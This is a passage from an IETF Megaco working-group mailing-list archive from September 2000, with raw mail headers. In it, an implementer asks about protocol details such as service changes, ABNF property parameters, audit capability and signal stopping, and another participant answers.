          (LISTSERV-TCP/IP release 1.8d) with spool id 9211 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 15 Sep 2000 10:11:21 -0400
Received: from mars.hss.co.in (202.54.26.197:59904) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB93D9D@standards.nortelnetworks.com>; Fri, 15 Sep 2000
          10:11:11 -0400
Received: from sandesh.hss.hns.com (sandesh [139.85.242.35]) by mars.hss.co.in
          (8.10.0/8.10.0) with SMTP id e8FEPKC21199 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Fri, 15 Sep 2000 19:55:21
          +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          6525695B.004E37BE ; Fri, 15 Sep 2000 19:44:20 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <6525695B.004E2238.00@sandesh.hss.hns.com>
Date:         Fri, 15 Sep 2000 19:42:24 +0530
Reply-To: bmbabu@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Madhu Babu <bmbabu@HSS.HNS.COM>
Subject:      Validity of descriptor info.
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

If a termination T1 is taken out of service using Service change command (say in
case of graceful method) it is true that media connections (if established
earlier) become active if the termination is brought back to service (subtract
is not sent for the same termination)
Regards.
-Madhubabu
Hughes Software Systems.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 15 10:27:43 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA20062
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 15 Sep 2000 10:27:43 -0400 (EDT)
Received: from standards (47.234.32.16:3494) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB93DA7@standards.nortelnetworks.com>; Fri, 15 Sep 2000 10:11:27 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 9219 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 15 Sep 2000 10:11:26 -0400
Received: from mars.hss.co.in (202.54.26.197:59912) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB93D9E@standards.nortelnetworks.com>; Fri, 15 Sep 2000
          10:11:15 -0400
Received: from sandesh.hss.hns.com (sandesh [139.85.242.35]) by mars.hss.co.in
          (8.10.0/8.10.0) with SMTP id e8FEPOC21213 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Fri, 15 Sep 2000 19:55:29
          +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          6525695B.004E37E9 ; Fri, 15 Sep 2000 19:44:21 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <6525695B.004E223F.00@sandesh.hss.hns.com>
Date:         Fri, 15 Sep 2000 19:42:37 +0530
Reply-To: bmbabu@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Madhu Babu <bmbabu@HSS.HNS.COM>
Subject:      Multiple instances of property param.
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

In Annex B. The ABNF grammar specifies that the production for
terminationStateParm as follows.

   ; at-most-once per item
     terminationStateParm =
          (propertyParm /
          serviceStates /
          eventBufferControl )

 But if MGC intends to modify two properties this cannot be done.
The comment should be modified that except for propertyParm
other can occur atmost once. In Binary this is taken careof.

This is true in case of localControlDescriptor also.

Regards
-Madhubabu
Hughes Software Systems.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 15 10:27:44 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA20074
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 15 Sep 2000 10:27:43 -0400 (EDT)
Received: from standards (47.234.32.16:3494) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB93DAE@standards.nortelnetworks.com>; Fri, 15 Sep 2000 10:11:30 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 9227 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 15 Sep 2000 10:11:30 -0400
Received: from mars.hss.co.in (202.54.26.197:59916) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB93D9F@standards.nortelnetworks.com>; Fri, 15 Sep 2000
          10:11:25 -0400
Received: from sandesh.hss.hns.com (sandesh [139.85.242.35]) by mars.hss.co.in
          (8.10.0/8.10.0) with SMTP id e8FEPPC21218 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Fri, 15 Sep 2000 19:55:31
          +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          6525695B.004E378D ; Fri, 15 Sep 2000 19:44:20 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <6525695B.004E21F5.00@sandesh.hss.hns.com>
Date:         Fri, 15 Sep 2000 19:42:09 +0530
Reply-To: bmbabu@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Madhu Babu <bmbabu@HSS.HNS.COM>
Subject:      Audit capability with Media descriptor token in Audit descriptor.
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

What is the response expected from MG when MGC generates Audit capability
command with Media descriptor token present in Audit descriptor.
Regards
-Madhubabu
Hughes Software Systems.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 15 10:27:45 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA20082
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 15 Sep 2000 10:27:44 -0400 (EDT)
Received: from standards (47.234.32.16:3494) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB93DB6@standards.nortelnetworks.com>; Fri, 15 Sep 2000 10:11:37 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 9238 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 15 Sep 2000 10:11:37 -0400
Received: from mars.hss.co.in (202.54.26.197:59928) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB93DA6@standards.nortelnetworks.com>; Fri, 15 Sep 2000
          10:11:30 -0400
Received: from sandesh.hss.hns.com (sandesh [139.85.242.35]) by mars.hss.co.in
          (8.10.0/8.10.0) with SMTP id e8FEPgC21253 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Fri, 15 Sep 2000 19:55:45
          +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          6525695B.004E38F6 ; Fri, 15 Sep 2000 19:44:23 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <6525695B.004E225A.00@sandesh.hss.hns.com>
Date:         Fri, 15 Sep 2000 19:43:14 +0530
Reply-To: bmbabu@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Madhu Babu <bmbabu@HSS.HNS.COM>
Subject:      Stopping of signals.
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Section 7.1.11 say that production of signal is stopped when an Event is
detected on the termination. Is this true even if that event is not present in
the event descriptor? If signal is stopped whether the event is present in Event
descriptor or not then what will happen if MGC intention is to continue the
signal application even after any event detection. Which is indicated by MGC by
making keepactive flag ON in all the events present in Event descriptor.
Regards
-Madhubabu
Hughes Software Systems.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 15 10:27:48 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA20098
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 15 Sep 2000 10:27:47 -0400 (EDT)
Received: from standards (47.234.32.16:3494) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB93DBC@standards.nortelnetworks.com>; Fri, 15 Sep 2000 10:11:41 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 9246 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 15 Sep 2000 10:11:40 -0400
Received: from mars.hss.co.in (202.54.26.197:59931) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB93DAD@standards.nortelnetworks.com>; Fri, 15 Sep 2000
          10:11:36 -0400
Received: from sandesh.hss.hns.com (sandesh [139.85.242.35]) by mars.hss.co.in
          (8.10.0/8.10.0) with SMTP id e8FEPjC21256 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Fri, 15 Sep 2000 19:55:49
          +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          6525695B.004E3872 ; Fri, 15 Sep 2000 19:44:22 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <6525695B.004E2248.00@sandesh.hss.hns.com>
Date:         Fri, 15 Sep 2000 19:43:02 +0530
Reply-To: bmbabu@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Madhu Babu <bmbabu@HSS.HNS.COM>
Subject:      Signal application query.
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

If signal X is being played on termination T1 and if signal descriptor is
recieved for the same termination with X signal in it without keepactive flag
what is the expectation of MGC in this case. Since protocol only talks about
continuation of the signal if already playing when keepactive flag is ON. No
text is given if the same signal is received without keepactive flag?
Regards,
-Madhubabu
Hughes Software Systems.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 15 10:27:49 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA20102
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 15 Sep 2000 10:27:48 -0400 (EDT)
Received: from standards (47.234.32.16:3494) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB93DDF@standards.nortelnetworks.com>; Fri, 15 Sep 2000 10:13:08 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 9296 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 15 Sep 2000 10:13:07 -0400
Received: from mars.hss.co.in (202.54.26.197:59942) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB93DDE@standards.nortelnetworks.com>; Fri, 15 Sep 2000
          10:13:01 -0400
Received: from sandesh.hss.hns.com (sandesh [139.85.242.35]) by mars.hss.co.in
          (8.10.0/8.10.0) with SMTP id e8FERAC21268 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Fri, 15 Sep 2000 19:57:14
          +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          6525695B.004E6066 ; Fri, 15 Sep 2000 19:46:04 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <6525695B.004E5E70.00@sandesh.hss.hns.com>
Date:         Fri, 15 Sep 2000 19:51:13 +0530
Reply-To: bmbabu@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Madhu Babu <bmbabu@HSS.HNS.COM>
Subject:      Property value retainment in case of LocalControlDescriptor.
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

In Section 7.1.7 paragraph 9 indicates that a new local control descriptor
replaces the previous setting of that descriptor is this true in case of
properties also.  or is it that MGC will always have to send these properties
every time it sends a local control descriptor.
Regards.
-Madhubabu


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 15 10:53:20 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA20418
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 15 Sep 2000 10:53:19 -0400 (EDT)
Received: from standards (47.234.32.16:3494) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB93EB0@standards.nortelnetworks.com>; Fri, 15 Sep 2000 10:36:01 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 9562 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 15 Sep 2000 10:36:01 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB93EAF@standards.nortelnetworks.com>; Fri, 15 Sep 2000 10:36:00
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id KAA14251; Fri, 15 Sep 2000 10:49:28 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id KAA19429; Fri, 15 Sep 2000 10:49:30 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XK1WS>; Fri, 15 Sep 2000 10:49:29 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF67887F@whq-msgusr-02.pit.comms.marconi.com>
Date:         Fri, 15 Sep 2000 10:49:09 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Validity of descriptor info.
X-To:         "bmbabu@HSS.HNS.COM" <bmbabu@HSS.HNS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Yes, unfortunately so.  The MGC SHOULD bring down the
connections in the case of graceful, but if it does not,
the MG would have to try to reestablish them.

This is probably worthy of mention in the implementers guide.

I wonder if in future versions, we should state that the
MGC MUST subtract connections, and if they are not, they are
treated as "forced" by the MG.

Brian

> -----Original Message-----
> From: Madhu Babu [mailto:bmbabu@HSS.HNS.COM]
> Sent: Friday, September 15, 2000 10:12 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Validity of descriptor info.
>
>
> If a termination T1 is taken out of service using Service
> change command (say in
> case of graceful method) it is true that media connections
> (if established
> earlier) become active if the termination is brought back to
> service (subtract
> is not sent for the same termination)
> Regards.
> -Madhubabu
> Hughes Software Systems.
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 15 10:53:21 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA20427
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 15 Sep 2000 10:53:20 -0400 (EDT)
Received: from standards (47.234.32.16:3494) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB93ECA@standards.nortelnetworks.com>; Fri, 15 Sep 2000 10:37:37 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 9592 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 15 Sep 2000 10:37:37 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB93EC9@standards.nortelnetworks.com>; Fri, 15 Sep 2000 10:37:36
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id KAA14434; Fri, 15 Sep 2000 10:51:04 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id KAA20020; Fri, 15 Sep 2000 10:51:06 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <S96X359N>; Fri, 15 Sep 2000 10:51:06 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF678880@whq-msgusr-02.pit.comms.marconi.com>
Date:         Fri, 15 Sep 2000 10:50:45 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Descriptor intrepretation in Move.
X-To:         "bmbabu@HSS.HNS.COM" <bmbabu@HSS.HNS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I believe the termination's descriptors retain their current
value on a Move.

Brian

> -----Original Message-----
> From: Madhu Babu [mailto:bmbabu@HSS.HNS.COM]
> Sent: Friday, September 15, 2000 10:12 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Descriptor intrepretation in Move.
>
>
> When termination T1 is moved from Context C1 to C2 what will
> be the descriptors
> that are valid for this termination in new context. There are
> two sections in
> the protocol that address this in two different ways. In
> section 6.2.4 first
> paragraph its said that "If not provisioned Otherwise, all
> descriptors except
> TerminationState and LocalControl default to empty/"no value"
> when a Termination
> is first created or returned to the null context". From this it can be
> understood that the same descriptors will be retained when
> moved to the new
> context. But in section 7.2.4  second paragraph mentions that
> "By convention,
> the Termination is subtracted from its previous Context".
> Does this mean that
> only the new descriptors provided in the Move command will be
> applicable and not
> the old ones?
> Regards
> -Madhubabu
> Hughes Software System.
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 15 10:53:24 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA20438
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 15 Sep 2000 10:53:22 -0400 (EDT)
Received: from standards (47.234.32.16:3494) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB93ED9@standards.nortelnetworks.com>; Fri, 15 Sep 2000 10:39:21 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 9612 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 15 Sep 2000 10:39:21 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB93ED8@standards.nortelnetworks.com>; Fri, 15 Sep 2000 10:39:20
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id KAA14572; Fri, 15 Sep 2000 10:52:45 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id KAA20482; Fri, 15 Sep 2000 10:52:47 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XK179>; Fri, 15 Sep 2000 10:52:46 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF678881@whq-msgusr-02.pit.comms.marconi.com>
Date:         Fri, 15 Sep 2000 10:52:26 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Multiple instances of property param.
X-To:         "bmbabu@HSS.HNS.COM" <bmbabu@HSS.HNS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I think that the intention of the phrase "per item" covers
the circumstance you describe.  That is, you may have two
propertyParms, but you cannot have the same parm twice.

Brian

> -----Original Message-----
> From: Madhu Babu [mailto:bmbabu@HSS.HNS.COM]
> Sent: Friday, September 15, 2000 10:13 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Multiple instances of property param.
>
>
> In Annex B. The ABNF grammar specifies that the production for
> terminationStateParm as follows.
>
>    ; at-most-once per item
>      terminationStateParm =
>           (propertyParm /
>           serviceStates /
>           eventBufferControl )
>
>  But if MGC intends to modify two properties this cannot be done.
> The comment should be modified that except for propertyParm
> other can occur atmost once. In Binary this is taken careof.
>
> This is true in case of localControlDescriptor also.
>
> Regards
> -Madhubabu
> Hughes Software Systems.
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 15 11:01:54 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA20619
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 15 Sep 2000 11:01:51 -0400 (EDT)
Received: from standards (47.234.32.16:3494) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB93F3D@standards.nortelnetworks.com>; Fri, 15 Sep 2000 10:45:44 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 9741 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 15 Sep 2000 10:45:44 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB93F3C@standards.nortelnetworks.com>; Fri, 15 Sep 2000 10:45:44
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id KAA15138; Fri, 15 Sep 2000 10:59:11 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id KAA22372; Fri, 15 Sep 2000 10:59:13 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XKFAT>; Fri, 15 Sep 2000 10:59:12 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF678882@whq-msgusr-02.pit.comms.marconi.com>
Date:         Fri, 15 Sep 2000 10:58:51 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Audit capability with Media descriptor token in Audit descrip
              tor.
X-To:         "bmbabu@HSS.HNS.COM" <bmbabu@HSS.HNS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

There has been some discussion on this lately.

There are two issues:
        1) what is the descriptors returned
        2) what is the contents of the Local/Remote descriptor

The former is easy.  It's somewhat dependent on the capability
of the MG, but you would get a stream descriptor for each of
the streams the MG could possibly support, with local, remote
and localControl descriptors for each of them.  If the MG only
supported one stream, it COULD return just the local, remote,
localControl (and TerminationState) descriptors in the Media
descriptor.

The latter is a little less certain.
I think that you get a pretty expansive SDP (let's stick with
text encoding), with each possible value of each of the lines
(m=, a=..) listed.

A sticky issue is whether you need to return combinations of
values when there is more than one parameter in a line.  I'd
say no. You also are not expected to return all address
possibilities, or even address formats.

Does that help?

Brian

> -----Original Message-----
> From: Madhu Babu [mailto:bmbabu@HSS.HNS.COM]
> Sent: Friday, September 15, 2000 10:12 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Audit capability with Media descriptor token in Audit
> descriptor.
>
>
> What is the response expected from MG when MGC generates
> Audit capability
> command with Media descriptor token present in Audit descriptor.
> Regards
> -Madhubabu
> Hughes Software Systems.
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 15 11:01:55 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA20623
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 15 Sep 2000 11:01:55 -0400 (EDT)
Received: from standards (47.234.32.16:3494) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB93F4E@standards.nortelnetworks.com>; Fri, 15 Sep 2000 10:46:41 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 9762 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 15 Sep 2000 10:46:41 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB93F4D@standards.nortelnetworks.com>; Fri, 15 Sep 2000 10:46:35
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id LAA15203; Fri, 15 Sep 2000 11:00:03 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id LAA22680; Fri, 15 Sep 2000 11:00:05 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XKFAZ>; Fri, 15 Sep 2000 11:00:04 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF678883@whq-msgusr-02.pit.comms.marconi.com>
Date:         Fri, 15 Sep 2000 10:59:44 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Stopping of signals.
X-To:         "bmbabu@HSS.HNS.COM" <bmbabu@HSS.HNS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Only events that are present in the Events Descriptor
stop production of signals.

Brian

> -----Original Message-----
> From: Madhu Babu [mailto:bmbabu@HSS.HNS.COM]
> Sent: Friday, September 15, 2000 10:13 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Stopping of signals.
>
>
> Section 7.1.11 say that production of signal is stopped when
> an Event is
> detected on the termination. Is this true even if that event
> is not present in
> the event descriptor? If signal is stopped whether the event
> is present in Event
> descriptor or not then what will happen if MGC intention is
> to continue the
> signal application even after any event detection. Which is
> indicated by MGC by
> making keepactive flag ON in all the events present in Event
> descriptor.
> Regards
> -Madhubabu
> Hughes Software Systems.
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 15 11:01:56 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA20640
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 15 Sep 2000 11:01:55 -0400 (EDT)
Received: from standards (47.234.32.16:3494) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB93F5F@standards.nortelnetworks.com>; Fri, 15 Sep 2000 10:47:50 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 9779 for
